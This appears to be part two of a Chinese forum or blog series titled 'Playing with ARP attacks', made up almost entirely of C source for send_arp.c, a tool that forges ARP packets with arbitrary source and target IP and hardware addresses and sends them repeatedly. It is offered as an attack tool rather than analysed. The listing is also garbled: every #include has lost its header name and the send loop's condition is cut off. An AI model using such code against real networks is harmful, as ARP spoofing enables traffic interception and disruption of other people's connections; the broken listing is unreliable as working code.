玩转ARP攻击（2）

以下是send_arp.c的源程序

CODE:
           
/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. [email]volobuev@t1.chem.umn.edu[/email]
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"％s\n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host ％s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}